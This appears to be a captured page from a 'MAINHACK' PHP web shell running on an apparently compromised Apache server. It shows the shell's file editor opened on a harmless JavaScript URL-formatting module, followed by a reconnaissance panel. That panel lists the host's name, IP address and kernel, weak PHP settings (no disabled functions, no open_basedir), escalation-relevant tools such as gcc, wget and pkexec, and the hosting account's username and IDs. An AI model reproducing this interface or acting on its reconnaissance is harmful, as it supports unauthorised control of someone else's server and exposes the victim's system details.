[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: format.js
"use strict"; var constants = require("./constants"); function formatAuth(urlObj, options) { if (urlObj.auth && !options.removeAuth && (urlObj.extra.relation.maximumHost || options.output===constants.ABSOLUTE)) { return urlObj.auth + "@"; } return ""; } function formatHash(urlObj, options) { return urlObj.hash ? urlObj.hash : ""; } function formatHost(urlObj, options) { if (urlObj.host.full && (urlObj.extra.relation.maximumAuth || options.output===constants.ABSOLUTE)) { return urlObj.host.full; } return ""; } function formatPath(urlObj, options) { var str = ""; var absolutePath = urlObj.path.absolute.string; var relativePath = urlObj.path.relative.string; var resource = showResource(urlObj, options); if (urlObj.extra.relation.maximumHost || options.output===constants.ABSOLUTE || options.output===constants.ROOT_RELATIVE) { str = absolutePath; } else if (relativePath.length<=absolutePath.length && options.output===constants.SHORTEST || options.output===constants.PATH_RELATIVE) { str = relativePath; if (str === "") { var query = showQuery(urlObj,options) && !!getQuery(urlObj,options); if (urlObj.extra.relation.maximumPath && !resource) { str = "./"; } else if (urlObj.extra.relation.overridesQuery && !resource && !query) { str = "./"; } } } else { str = absolutePath; } if ( str==="/" && !resource && options.removeRootTrailingSlash && (!urlObj.extra.relation.minimumPort || options.output===constants.ABSOLUTE) ) { str = ""; } return str; } function formatPort(urlObj, options) { if (urlObj.port && !urlObj.extra.portIsDefault && urlObj.extra.relation.maximumHost) { return ":" + urlObj.port; } return ""; } function formatQuery(urlObj, options) { return showQuery(urlObj,options) ? getQuery(urlObj, options) : ""; } function formatResource(urlObj, options) { return showResource(urlObj,options) ? urlObj.resource : ""; } function formatScheme(urlObj, options) { var str = ""; if (urlObj.extra.relation.maximumHost || options.output===constants.ABSOLUTE) { if (!urlObj.extra.relation.minimumScheme || !options.schemeRelative || options.output===constants.ABSOLUTE) { str += urlObj.scheme + "://"; } else { str += "//"; } } return str; } function formatUrl(urlObj, options) { var url = ""; url += formatScheme(urlObj, options); url += formatAuth(urlObj, options); url += formatHost(urlObj, options); url += formatPort(urlObj, options); url += formatPath(urlObj, options); url += formatResource(urlObj, options); url += formatQuery(urlObj, options); url += formatHash(urlObj, options); return url; } function getQuery(urlObj, options) { var stripQuery = options.removeEmptyQueries && urlObj.extra.relation.minimumPort; return urlObj.query.string[ stripQuery ? "stripped" : "full" ]; } function showQuery(urlObj, options) { return !urlObj.extra.relation.minimumQuery || options.output===constants.ABSOLUTE || options.output===constants.ROOT_RELATIVE; } function showResource(urlObj, options) { var removeIndex = options.removeDirectoryIndexes && urlObj.extra.resourceIsIndex; var removeMatchingResource = urlObj.extra.relation.minimumResource && options.output!==constants.ABSOLUTE && options.output!==constants.ROOT_RELATIVE; return !!urlObj.resource && !removeMatchingResource && !removeIndex; } module.exports = formatUrl;
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.62 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002